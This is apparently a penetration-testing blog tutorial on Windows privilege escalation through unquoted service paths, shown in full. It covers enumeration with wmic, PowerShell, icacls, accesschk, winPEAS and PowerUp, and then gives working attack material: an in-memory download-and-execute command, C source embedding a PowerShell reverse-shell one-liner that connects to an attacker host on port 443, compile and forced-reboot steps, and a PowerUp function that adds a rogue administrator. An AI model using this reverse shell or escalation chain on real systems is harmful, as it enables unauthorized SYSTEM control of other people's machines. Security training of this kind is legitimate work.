Unquoted Service Paths – Windows Privilege Escalation

When it comes to Windows Privilege Escalation techniques, a common escalation path is to leverage misconfigured services. There are many ways that services can be misconfigured; however, by far the most interesting case are unquoted service paths. In this post, we will see how a combination of weak folder permission along with a path to a service executable that has spaces and no quotes can lead to privilege escalation from standard user to the local SYSTEM account.

We will start by enumerating an unquoted service path using manual techniques as well as tools. After finding an unquoted service path, we will further enumerate to determine if we have write permissions on one of the folders in the path. From there, we will craft a custom executable and compile it on our attacker machine. Finally, we will send the executable back to the victim, force an event (reboot), and elevate to a SYSTEM shell.

Unquoted Service Path Vulnerabilities Explained

An unquoted service path vulnerability is where you have a path to a service executable and the folder names along that path have spaces in them without quotations.

So what makes this vulnerable?

The interesting thing about this vulnerability, – and what makes this a vulnerability in the first place – is how Microsoft’s services attempt to start a program.

When a service points to an executable in a path that has either no spaces or that does have spaces but is surrounded with quotes, the service will ride the path directly to the executable and start as intended. For example: C:\temp\service.exe and “C:\temp folder\service.exe” are correctly configured and will execute service.exe.

However, when you have a service that points to an executable in an unquoted path with no spaces, that’s when things get interesting. The default nature of Microsoft services when they ride a path to an executable that has no quotes, along with folder names that contain spaces, is to test each position prior to where a space exists as an executable.

That’s confusing so lets break this down.

Imagine you had a service that ran from the following file location: C:\Program Files\Juggernaut Prod\Production Tools\Juggernaut.exe

Since there are spaces and no quotes in the file path to the service executable, the service will attempt to start by treating each part of the folder name before the space as an executable that resides in the previous folder, like so:

  • C:\Program.exe
  • C:\Program Files\Juggernaut.exe
  • C:\Program Files\Juggernaut Prod\Production.exe
  • C:\Program Files\Juggernaut Prod\Production Tools\Juggernaut.exe

This means that if we have permissions to write in any of the three folders prior to the actual executable location, then we can craft an executable and name it based off the folder name in the path, like the example above. Afterwards, when the service starts it will execute our malicious program instead of the intended one.

If we can write to C:\. we will craft an executable named Program.exe and place it in C:\. If we can write to C:\Program Files, we will craft an executable named Juggernaut.exe and place it in C:\Program Files. And so on…

Hunting Unquoted Service Paths

For this example, we have obtained a foothold as the standard user cmarko after finding the users credentials and leveraging a web exploit to gain access.

The first thing we should check when we get a foothold is what privileges our current user has using the whoami /priv command.

Here we can see we have the SeShutdown privilege. This is important to note as it is often a necessary privilege to have when exploiting services. Most times we will find that when we have the ability to abuse a service, we will NOT have permissions to stop and start the service. However, if the service starts automatically, we can leverage the shutdown privilege to restart the machine; and ultimately the service as well.

Although it says “Disabled”, we can still use this privilege because this only means that the privilege is disabled in our current session, which is due to us not currently shutting down our machine.

With a foothold established, we can leverage built-in commands to perform manual enumeration of any unquoted service paths on the system. Alternatively, we can also leverage tools to find these misconfigurations for us.

Enumerating Unquoted Service Paths Using Manual Techniques

We can manually hunt for any unquoted service paths on the system using both cmd.exe and PowerShell.

The command we can use with cmd.exe is the following:

wmic service get name,displayname,startmode,pathname | findstr /i /v "C:\Windows\\" |findstr /i /v """

In the command we use wmic to query services and pull the information we are interested in. We also use the findstr command to omit any results from directories starting with C:\Windows because we won’t have write permissions there. The second findstr command omits any results that contain double quotes.

From a PowerShell prompt, the equivalent command would be:

Get-WmiObject -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select Name,DisplayName,StartMode,PathName

Both commands have found that the Juggernaut service has an unquoted service path and that the service is an Auto-start service.

Enumerating Unquoted Service Paths Using Tools

There are quite a few post-exploitation tools and scripts available out there, but for this example, we will stick with PowerUp.ps1 and winPEASx64.exe.

If you don’t already have a copy, you can get a copy of winPEASx64.exe from here and a copy of PowerUp.ps1 from here.

After downloading a copy of each tool from the links above, we can transfer them to the victim using any of the techniques found in this post here.

Enumerating Unquoted Service Paths by Downloading and Executing PowerUp.ps1 Directly into Memory

For this example, we will start by editing the PowerUp.ps1 script using the echo command to append the following command to the bottom of the script:

echo 'Invoke-AllChecks' >> PowerUp.ps1

Next, we need to start an HTTP server out of the directory housing both tools.

python3 -m http.server 80

Drop into a PowerShell prompt on the victim shell using the command powershell -ep bypass and then using the following command, we can download PowerUp.ps1 directly into memory, which will auto-execute the command we hardcoded at the bottom:

iex(new-object net.webclient).downloadstring('')

Here we can see that PowerUp was able to enumerate this misconfiguration for us. Additionally, PowerUp.ps1 has built-in functions to abuse most of the misconfigurations or special privilege’s that it finds. However, it should be mentioned that when PowerUp finds an unquoted service path, it does not necessarily mean that it is “vulnerable”, PowerUp just recognizes the misconfiguration and then provides an AbuseFunction under the assumption that the unquoted service path is exploitable.

We will circle back and see how we can use the AbuseFunction to exploit this vulnerability at the end of the post.

Enumerating Unquoted Service Paths Using winPEAS

With our HTTP server still running, let’s go ahead and grab a copy of winPEASx64.exe from our attacker machine.

Before transferring any tools onto the victim, always use the systeminfo command to see what architecture the OS is running so that you can determine if you need to transfer 32-bit or 64-bit tools / exploits.

Since the victim machine is running a 64-bit arch, we can send the 64-bit version of winPEAS to the target by utilizing the HTTP server we already have running.

certutil -split -f -urlcache ""

With winPEAS on the victim, we can proceed to run the full scan (no switches) and then comb through the output to find if there are any unquoted service path’s.

Since winPEAS has a lots of output, the key is knowing where certain information will reside. For unquoted service path’s, we want to check the Services Information category. This will provide us info on the service name, path, and start mode.

Additionally, if we continue to review the PEAS output, we will find that it has also enumerated which folder along the unquoted path we have permissions to write in. This is the next step in our enumeration process; and fortunately for us, we get all of it from PEAS.

No doubt winPEAS is incredible; however, it takes time to sharpen your eagle eye and know what you are reading / looking for from the output.

Enumerating Folder Permissions Along the Unquoted Service Path

At this point we have seen how to find unquoted service path’s using both manual techniques as well as tools. Currently, we have only found that an unquoted service path exists, but we still are unsure if it is truly vulnerable.

After finding the unquoted service path either manually or with PowerUP, the next thing we need to find is whether or not the service path is vulnerable. We can accomplish this by checking the permissions on each folder along the service path to the executable using built-in commands such as icacls from a cmd.exe prompt or Get-Acl from PowerShell. Additionally, we will use the accesschk.exe tool from the Sysinternal’s Suite of Tools to enumerate our permissions.

Enumerating Folder Permissions: cmd.exe (icacls)

Now that we have found that a service is running from a path that is unquoted and contains spaces, we need to find out if we can exploit this finding by checking the folder permissions.

To do this, we can use the icacls command, which is a built-in command used to check the permissions of folder and file ACLs.

The permissions we are looking for on the folder are any one of the following three permissions:

  • (F) Full Control
  • (M) Modify
  • (W) Write

The user / group permissions we are looking for are the following:

  • The user we are currently logged in as (%USERNAME%)
  • Authenticated Users
  • Everyone
  • BUILTIN\Users

For this step, we want to start our permissions check from left to right, like so:

icacls C:\
icacls "C:\Program Files"
icacls "C:\Program Files\Juggernaut Prod"

Here we can see that we have found our writeable folder along the unquoted file path and that is where we can get malicious!

Three things need to be mentioned about this output.

  • First, we will often see authenticated users have modify access to C:\ by default; however, this is an advanced permission that only allows the creation of subfolders. This means we cannot write an executable, or any file into this location!
  • Second, in general we will find that we cannot write files to C:\ or C:\Program Files. It’s worth checking for but it is extremely rare to find.
  • Third, why didn’t we check the last folder in the path? — because that is the folder that contains the actual service executable. If we have write permissions there, then that is a different vulnerability altogether and wouldn’t require an unquoted service path to exploit it.

For POC if we try to move an EXE or write TXT file to C:\ we are denied access.

Enumerating Folder Permissions: PowerShell (Get-Acl)

We can perform the same enumeration using PowerShell and the following commands:

Get-Acl -Path C:\ | Format-List
Get-Acl -Path "C:\Program Files" | Format-List
Get-Acl -Path "C:\Program Files\Juggernaut Prod" | Format-List

Above we can see that it doesn’t say “Modify” on C:\ like icacls did; Instead, it provides “Access Mask Format”, which the number above is essentially the numerical representation for Modify.

Another numerical value representing read / execute.

And here we can see the juicy finding of Modify permisisons on a folder that is not C:\ in the service path.

Enumerating Folder Permissions: accesschk

Another way to enumerate this is by using accesschk64.exe tool from the Sysinternals Suite of Tools.

If you don’t have the Sysinternals Suite on your attacker machine, you can grab it here.

Since we enumerated that this is an x64 arch, we can proceed to download a copy of accesschk64.exe onto the victim using our HTTP server again.

With accesschk on the victim, we can now use the following command to enumerate the permissions on the folders along the unquoted service path:

.\accesschk64.exe -wvud "C:\" -accepteula
.\accesschk64.exe -wvud "C:\Program Files" -accepteula
.\accesschk64.exe -wvud "C:\Program Files\Juggernaut Prod" -accepteula

When using accesschk to find the permissions on just the folder, you need to specify the ‘-d’ switch. To understand all of the switches used in the command (wvud), check out the accesschk manpage here.

Above we can see that accesschk actually gives us our most accurate representation of our permissions on C:\ and that is that we have (W) write access, which is limited to only being able create a folder (FILE_ADD_SUBDIRECTORY).

Since we cannot write in the C:\Program Files folder, we do not see any results for standard users at all. This is because we are filtering for write access only.

Finally, here we can see that standard users have a lot of FILE_WRITE and FILE_ADD permissions, but it doesn’t say “full access”. This can be deduced to being Modify privileges.

Enumerating Folder Permissions: winPEAS

When we used winPEAS earlier we saw that there was an the unquoted service path from the “Service Information” section.

After finding this, we can scroll down through the output to the “Application Information” section and then check under the “Installed Applications” sub-section. If we are able to exploit this service, then from here we will find which folder in the unquoted service path we have write permissions on.

If we do not find a writeable folder in this section associated with the unquoted service path we found, then we likely won’t be able to exploit this service. When this is the case, still proceed to use one of the other manual methods above before dismissing this finding.

Crafting a Custom Exploit to Abuse this Misconfiguration

As of right now, we have found that…

  • There is a service executing from an unquoted path: C:\Program Files\Juggernaut Prod\Production Tools\Juggernaut.exe.
  • The service is an auto-start service and our user has SeShutdown privileges.
  • Standard users have the ability to write in the C:\Program Files\Juggernaut Prod\ folder along the path.

The next step for this privilege escalation technique is to craft a custom exploit and place it in the C:\Program Files\Juggernaut Prod\ folder. However, we cannot craft just any exploit. From what we learned about how unquoted service paths work, the exploit has to be named Production.exe since that is what the service will attempt to execute before it executes the actual service binary.

For this exploit, I have crafted a custom executable that we can compile right on our attacker machine. Copy the raw code below and paste it into a text editor and then save the script as exploit.c.

#include <windows.h>
#include <stdio.h>

int main(){ 
    system("whoami >> C:\\temp\\whoami.txt");
    return 0; 

We can see that our executable will run the whoami command and redirect the output to a file. While this is a cool POC, what we really want is a reverse shell.

To accomplish this, let’s edit this script to include something more malicious.

Replace the whoami command in the code with the following PowerShell 1-liner so that we can get a reverse shell when it executes:

Edit the IP to reflect your attacker IP.

"powershell.exe -nop -c \"$client = New-Object System.Net.Sockets.TCPClient('',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()\""

Now our script should look similar to this:

Note that the double quotes around the PowerShell command have escape characters next to them. This is so that the code reads them as literal double quotes because without them, the code will not compile or will not work if it does compile.

Our exploit.c file is now ready to compile. We can compile it directly on our attacker machine using mingw-w64 and the following command:

x86_64-w64-mingw32-gcc exploit.c -o Production.exe

Now that we have compiled that successfully, we can download it onto the victim from our HTTP server we have running already.

Exploiting the Unquoted Service Path to get a SYSTEM Shell

With everything ready on the victim, all that is left is to move the exploit into the “C:\Program Files\Juggernaut Prod” folder. start a netcat listener on port 443 on our attacker machine, and then reboot the victim machine.

File is in place, netcat listener is running, and now all that is left is to reboot the machine, which can be done with the following command:

shutdown /r /t 0 /f

And back on our listener, we should have a PowerShell prompt as SYSTEM!

If the shell checks in to our listener but it looks like it’s hanging and no prompt is appearing, just press enter and the prompt should appear.

BONUS – Crafting an Exploit Using PowerUp.ps1 AbuseFunction

Earlier when we enumerated the unquoted service path using PowerUp.ps1, it showed the following AbuseFunction that we can use to exploit this vulnerability.

Using this AbuseFunction will create a malicious executable that runs a command to create a new user and put that user in the administrators group.

Write-ServiceBinary -ServiceName 'Juggernaut'

Now at this point if we had just enumerated the unquoted service path vulnerability and then crafted the exploit; however, we still need to find which folder we can write to.

After using one of the above techniques to find the writeable folder in the unquoted service path, which is “C:\Program Files\Juggernaut Prod”, we can copy the executable to that folder and rename it Production.exe in a single command.

Now when we reboot the system and get back into our reverse shell we had before, we can see that the user was created and added to the local administrators group!

From here if RDP is open, we can easily RDP in using xfreerdp and then open a command prompt and “Run as administrator” to get into a high integrity shell with full privileges.

sudo xfreerdp /u:john /p:'Password123!' /v: +clipboard

However, we might not be so lucky to have RDP open on the victim. If this is the case, then we will need to use a combination of Runas as well as UAC-bypass to get our administrator shell.

To see how to use Runas and UAC-bypass techniques to elevate to an administrator shell, check out my post on Runas here and UAC-bypass here.

Want to stay up to date with the latest hacks?

By entering your email address you will receive a notification every time a new post drops!